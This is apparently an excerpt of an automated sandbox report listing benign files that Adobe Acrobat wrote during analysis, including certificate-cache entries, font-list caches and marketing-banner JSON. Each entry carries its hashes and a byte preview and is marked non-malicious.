C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklMZjltfllXlE/HT8kg7llXNNX8RolJuRdxLlGB9lQRYwpDdt:kKVZZeT8bl7NMa8RdWBwRd
MD5:	FC948E7644161F8FB98BA8D1DC060EB9
SHA1:	DADF15B03DF8CC7A26CFD1573FB60C34E3D968DE
SHA-256:	11399E273F63AD071559E7AAE6612CC654468EDD1BE874BE1E8B58D40A6985D9
SHA-512:	1BC9627639984C10DD2FB127F5B4DF1AF983BE4C9605DFF020921593B9843E6058210A8C8C028DA453A8EFE2A9F22516C831215B0414F70804FA0F8825314714
Malicious:	false
Preview:	p...... ........?\|...c..(....................................................... ..........W....k...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1146613414079583
Encrypted:	false
SSDEEP:	6:kKGUL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:tiDnLNkPlE99SNxAhUe/3
MD5:	4CBB7AEE845C5EDE2EF744904F4A280A
SHA1:	D514016801F79FB8F359E76A625C8771AD4BE530
SHA-256:	5AFE58FB33AC29BE47FB38D9A97D0F31B8F6C222825840DB2FD3AE66D00DEB9A
SHA-512:	6B08FD8F8CF5753588186284DF4539F4C39DD0EBD3C8FA6FCD9F1ED1D6DBC44F7B93C5623C0EB68A2ECF187F299DABD0D20634B88378C87B4D07CC5B2B6DEDFF
Malicious:	false
Preview:	p...... ........Kso..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5000

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5000

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.323122959959838
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJM3g98kUwPeUkwRe9:YvXKXdJXSYpW7ZsGMbLUkee9
MD5:	E39CB0EDB3C5332389A97D8B13615A5C
SHA1:	856512799085292B455ED92FF0F698AD75BC8310
SHA-256:	14ABFCDC301E4F62F45EF5A55554C5263241CA98BD627FFA07D72E887828C1EA
SHA-512:	2CF12B861B1BD375C54F72AA4FA871B7C2B21D9B3D8053F2B9A61CB03B9842B446FDD0D86F41B2D1E20DF38CD3D5AB1539200B9EF32266D8D8986CA5E57E42C3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.260558183155231
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJfBoTfXpnrPeUkwRe9:YvXKXdJXSYpW7ZsGWTfXcUkee9
MD5:	1F212CB0B07520548133694DF22C3AE9
SHA1:	A2431A750696D92BF4317A516A5FF8FF7F976119
SHA-256:	0E8187142D2899D0D124E2A47A4335D32966A9F935D20D825ABE135FBEF2C983
SHA-512:	BB725629E00E4C22992CDFA03ACB7B7AD3AA5CED1BABF935A9E48AB1861466D8F2926D3D5A249B8E930F74C607DE4E98EA814F1ACC248024B00E909FB6B43694
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.238817678513038
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJfBD2G6UpnrPeUkwRe9:YvXKXdJXSYpW7ZsGR22cUkee9
MD5:	AC98CC0F518A1CAB849DB2878E2DD78E
SHA1:	2D1BC26BFFAA1D525A64BA5E31270B8FA0437687
SHA-256:	A657606E51F3ECD2D65C5EF49E9AAE6853CC945823927CB23F789DDF1525F0FD
SHA-512:	5532C35353B4A9AB2E00C242D044420FAC75202606325FC50F5314716C2CD9272F567B6C8DBBB36A49CA69589F10B6265593F26A2E3950234D14E276505AEDBF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.300603892829305
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJfPmwrPeUkwRe9:YvXKXdJXSYpW7ZsGH56Ukee9
MD5:	4A25DBA65DF9ACB8D8C0DF8F21A2774E
SHA1:	334FFA25035DA0F428BB9703AF00F295332153E3
SHA-256:	DBC8D43EDE43F847CA29B4ED013FBBA0186F27F4409D735ADC367C70189BBA60
SHA-512:	175ABB3C4595874C670A0C0555BD94D864231FAB994104109D338A0B35AC291361EDA22241B25AAB4BD0339D6E86D16968866B077AF332469A1908C6882EC3D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.679169022468879
Encrypted:	false
SSDEEP:	24:Yv6Xz3iZJpLgE9cQx8LennAvzBvkn0RCmK8czOCCS2TY:YvxZJhgy6SAFv5Ah8cv/2TY
MD5:	593A67F9D5B2B003A3484E1B32480FF8
SHA1:	EE997F24102500F057667A66378FDA5787379D95
SHA-256:	9C50F4DECFAB24A6D383A66709B80F2DBDF2CB50B882EDE1BDDF1EB431C72B26
SHA-512:	51E8F6FF362D35CB1EAB4776B845F46D7F49DCF563E4186B21839AD2C706CE80160B41207D31191D931B42C4D57F5EE1C6191CF4B1F8033F053C63F643CA63D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.244992172631549
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJf8dPeUkwRe9:YvXKXdJXSYpW7ZsGU8Ukee9
MD5:	D327D005165149C1484312FD1F585E43
SHA1:	5DD2F577E635877881025695EE29E5608597CC99
SHA-256:	14105E8177EECAC6A36F0C39EC2D505008DD0B9AE16E36C424CE74061549637C
SHA-512:	C2F708654CB19FB8D4FDC53C83B237311A1D397D4306FA5DBBD907EA3E8B8034D399450A77ABEC56877DBAF6CDDCD71C094695E0D922A46C3BA1042374F29749
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.247386946480175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJfQ1rPeUkwRe9:YvXKXdJXSYpW7ZsGY16Ukee9
MD5:	6880AC94DBFA1829990693634A6D3711
SHA1:	2054F02BC7F3B9F7CE61BFABE978D53316E2E87B
SHA-256:	C2654D588A0D434722088C31684D97A8EAC5A08B25C15E4E6C51E813F1DD32B9
SHA-512:	BB27B8B8CE3DAE46B4067B35F0A2113C6563CEB37B739A75F2C2CE2E34FCCFD39EDDCE2448968D28CECDE55ECAE8FD3A01C2DB2954F42F34152AE8970F877C2C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.265509231819421
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJfFldPeUkwRe9:YvXKXdJXSYpW7ZsGz8Ukee9
MD5:	ECD67AD6CE9231661FBE4E3589FFAB43
SHA1:	0BA6A8399C9AF6129CB1C3E5EA08035C812D80DA
SHA-256:	422FDBC78D71C664DAB868E016F992A0DC5C19A682663A54D4EDA8C81D0164E5
SHA-512:	FA90BE54A3A78B06B7DAD3014CC03FCC5D5D34BA0406629D35D9E8D1D975DABA0535FB58BDAE1C57F0E82E9FFE3301EA9853575BCD6A2AFF2040E73552AEC113
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.273035905231725
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJfzdPeUkwRe9:YvXKXdJXSYpW7ZsGb8Ukee9
MD5:	1AA14653AB1F5725DB346D5E36FE891B
SHA1:	63650042B93D27DE7D5E95624452CF47D3D0A4AD
SHA-256:	8AF72E8EC7501FD8F99D8754EBD8535E540D300F0A9D2ADC046776E8A977C014
SHA-512:	D0A9D17EDA3991FE54205609783E36AFE4F0ED060E4FEF48EA13EB64283ADCE88B92E940E16D1CE5C1CD3BD9BCE78A4CF9E285EC348E5E3386C699531E07D441
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.253258164003654
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJfYdPeUkwRe9:YvXKXdJXSYpW7ZsGg8Ukee9
MD5:	146E50E074D8A22A889C5FFA70DE385B
SHA1:	948FFA43CFFA6C79E3B7F7EE0CEBB1212D49E4D9
SHA-256:	249FEEC58AE781BA6E1E7C1201C94053036AF5010B3FFC10F5913ED0618A1CCC
SHA-512:	945AF352E45C5356AF51BC14DC6E95E3DC71F89CA57DFF6C4AB98D5480AB81F5D2193633DA52B38984844D3E564A72AFBAD189BB70B67C5879CE5AA50CADDD12
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.238485617178705
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJf+dPeUkwRe9:YvXKXdJXSYpW7ZsG28Ukee9
MD5:	BA4993650C73F965E1204284B1BC3570
SHA1:	4175785ACDBBBCF945D3337E98FE7AF2AE474F44
